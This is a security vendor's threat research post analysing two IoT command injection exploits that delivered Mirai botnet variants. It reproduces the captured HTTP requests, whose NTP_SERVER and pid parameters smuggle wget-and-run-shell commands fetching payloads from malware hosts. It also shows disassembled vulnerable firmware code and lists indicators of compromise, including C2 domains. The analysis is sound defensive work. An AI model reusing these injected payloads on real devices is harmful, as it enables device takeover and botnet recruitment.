Two New IoT Vulnerabilities Identified with Mirai Payloads

By Ken Hsu, Yue Guan, Vaibhav Singhal, Qi Deng

Published: 2020-10-14 · Archived: 2026-04-05 19:41:24 UTC

Executive Summary

Palo Alto Networks is proactively trying to safeguard its customers from attacks however possible. By leveraging its Next-Generation Firewall as sensors on the perimeter to detect malicious payloads and attack patterns, Unit 42 researchers are able to hunt down the menaces out there on the network, be they known or not.

Unit 42 researchers have taken a closer look at four Mirai variants from two recently discovered campaigns leveraging command injection vulnerability exploits that reveal a familiar IoT attack pattern.

While this generic approach allows researchers to observe the entire killchain and even acquire the malware binary from the attack, this post-exploitation heuristic does have its caveat: the traffic fingerprinting. Similar services yield similar traffic patterns because of similar, if not identical, code bases and underlying implementation. Since a service can exist in multiple devices with different configurations and there are multiple brands for a specific device, it’s become exponentially hard, if not impossible, to identify the susceptible device(s) in real time.

This blog includes a brief analysis of the two IoT exploits observed in the wild and the four Mirai variants delivered during the attack. Palo Alto Networks Next-Generation Firewall customers are protected against these attacks.

Exploit Payloads Include Mirai Variants

A total of four Mirai variants were recently discovered. Two new vulnerabilities were leveraged as attack vectors to deliver Mirai. Upon successful exploitation, the wget utility is invoked to download a shell script from the malware infrastructure. The shell script then downloads several Mirai binaries compiled for different architectures and executes these downloaded binaries one by one.

The first exploit, shown in Figure 1, targets a command injection vulnerability in a web service with an NTP server setting feature. The service fails to sanitize the value of the HTTP parameter NTP_SERVER, which in turn leads to arbitrary command execution.

```
GET [redacted]&NTP_SERVER=[redacted].go
v;wget http://[redacted]/f -O-|sh;[redacted] HTTP/1.1
Host: [redacted]
Cache-Control: max-age=0
Authorization: Basic YWRtaW46
If-Modified-Since: 0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrom
e/84.0.4147.89 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Connection: close
```

Figure 1. Command injection exploit over the wire

Following the leads acquired from the attack traffic, we have narrowed our scope to some IoT devices that are known to synchronize time through HTTP and found several vulnerable NTP-server-handling routines in firmware in some IoT devices, which is concerning since some vendors no longer support the products running said firmware. Figure 2 shows one such vulnerable function found in a library module. While the firmware that we have analyzed have such insecure functions, they are fortunately impervious to this specific attack because the targeted uniform resource identifier (URI) is not present in these firmware. The identification of the affected product is still in progress as we proceed to analyze other IoT devices that are likely to do time synchronization through HTTP.

```
00001C08
00001C08                loc_1C08                ; buf on the stack
00001C08 08 50 8D E2    ADD     R5, SP, #0x58+ntp_cmd
00001C0C 06 20 A0 E1    MOV     R2, server_name ; server_name is the arg passed to this func
00001C10 2C 10 9F E5    LDR     R1, =aUsrSbinNtpdate_0 ; "/usr/sbin/ntpdate %s"
00001C14 05 00 A0 E1    MOV     R0, R5          ; s
00001C18 3B 0A 00 EB    BL      sprintf         ; copy the str to buf. potential buf overflow
00001C1C 05 00 A0 E1    MOV     R0, R5          ; command
00001C20 38 0A 00 EB    BL      system          ; cmd execution
```

Figure 2. Vulnerable code snippet in one of the firmware

The initial attack incident of the first exploit was observed on July 23, 2020, at 05:55:06 a.m. UTC. The attack (shown in Figure 1) lasted for a few weeks, with the last incident reported on Sept. 23, 2020, at 15:21:23 p.m. UTC. There were 42 unique alerts at the time of this writing.

The second exploit caught in the wild provides less context than the first exploit; the URL and the HTTP request headers do not yield any useful insights. Evidently, there is a lack of parameter sanitization in the HTTP parameter pid that results in a command injection vulnerability, as shown in Figure 3. We speculate that the targeted service is some type of remote process management tool because of similar parameter patterns in the attack traffic, and that it's possibly experimental and thus low in usage.

```
GET [redacted]&pid=1;#{cd /tmp; wget http://[redacted]
[redacted]/fetch.sh; chmod 777 fetch.sh; sh fetch.sh}; HTTP/1.1
```

Figure 3. Command injection exploit over the wire.

A total of 48 unique attack incidents occurred in just 12 seconds. The attack started on Aug. 16, 2020, at 09:04:39 a.m. UTC, and it ended on Aug. 16, 2020, at 09:04:51 a.m. UTC, indicating that this exploit is quick and short-lived.

We grouped the Mirai variants by numbers: one, two, three and four. The SHA256 for each of the Mirai variants are available in the Indicators of Compromise section below. Table 1 shows the delivery method as well as the embedded decryption key for each variant.

Delivery Method	Mirai Variant	Decryption Key
Exploit one	Variant One	0xdeadbeef
Exploit one	Variant Two	0xdedefbba
Exploit two	Variant Three	0xdedefbaf
Exploit two	Variant Four	0xdeadbeef

Table 1. Delivery methods and the decryption key.

While these variants do not share the exact same origin and configuration, they all possess the necessary functionality to launch DDoS attacks. Variant four also possesses an infection capability that is not present in the other three variants, making it a more dangerous threat. Table 2 below summarizes the exploits that this particular Mirai variant uses for infecting other vulnerable hosts. Just like its predecessors, this variant inherits exploits that were also used in the previous variants.

Table 2. Variant four's infection capability.

Conclusion

Security for IoT devices is still concerning. One major challenge for IoT security is that IoT devices that are no longer supported are still being deployed and used. Flaws in their firmware unfortunately do not just go away with an end-of-life and end-of-support announcement. The good news is that Palo Alto Networks offers the following products and services to protect its customers from this kind of attacks, whether the threat is known or not:

- Next-Generation Firewalls with Threat Prevention licenses can block the exploits and C2 traffic with best practice configuration.
- For tracking and protection purposes, the relevant coverage threat IDs are 59194 and 59083. Please update to the latest threat detection release.
- WildFire can stop the malware with behavioral heuristics.
- AutoFocus customers can track this activity with the Mirai tag.
- The IoT Security subscription for the Next-Generation Firewall helps discover and identify IoT devices on an organization's network.

Indicators of Compromise

Mirai Variant One

1b45cf0e6663aa736a2296ff753d8261032b80effcf6b0c4da2f836c2df48f2b

96f3b93b2b4560bbcfc0dbcbcc490d6914eb674d2f745197761ec73121b2f0d9

bae705d860eb190edb7512bc4c9e240b79009ba15464134c0b09e01a4d9c7853

05a5d6929031deed51f2c7ee8936d1e5b82db9126f746ed5e0be28a758675844

7a1a49c077c0600cec0985456c8134196c7e6a09811576896eedd20c03fca9b9

Mirai Variant Two

3eadc091b2eafd3c6d6195f20a6755084fa35b72dba9255dbdd0421a5f89380d

13a0c95b6c23a9da188533fa7bf9e438bf74096a97df8d187cecaf579f72478d

94d2caf1b122583a9c3a17b24a0ed6efbc34491c79de231072989eaf938c3985

99408a1a1c40a4db4cfde0f17a6791f16ca102c26ecda8f44501d03541d4b2b2

Mirai Variant Three

34fe9ec63e0861a40dd44468fd79d8fa97df0de2b3a70a42de3c26ebfdfea14c

12a1a6f1368c60452e9b0732199521b3c786356bb2cb98289abe8b0c9772940e

c7b846783d8704fa22ba06208066ef4cbde8cb48e07c24fea4cdefc9ba117b3c

Mirai Variant Four

6f2f274639439174687b6368b795a999896f20fea9b8c203e4e3af9eeba4d53a

Malware Hosting Site

80[.]82[.]78[.]85

185[.]61[.]137[.]165

78[.]142[.]18[.]20

185[.]172[.]110[.]199

Mirai C2

dotheneedfull[.]xyz

xyz[.]hxarasxg[.]xyz

lol[.]thezone[.]vip

Source: https://unit42.paloaltonetworks.com/iot-vulnerabilities-mirai-payloads/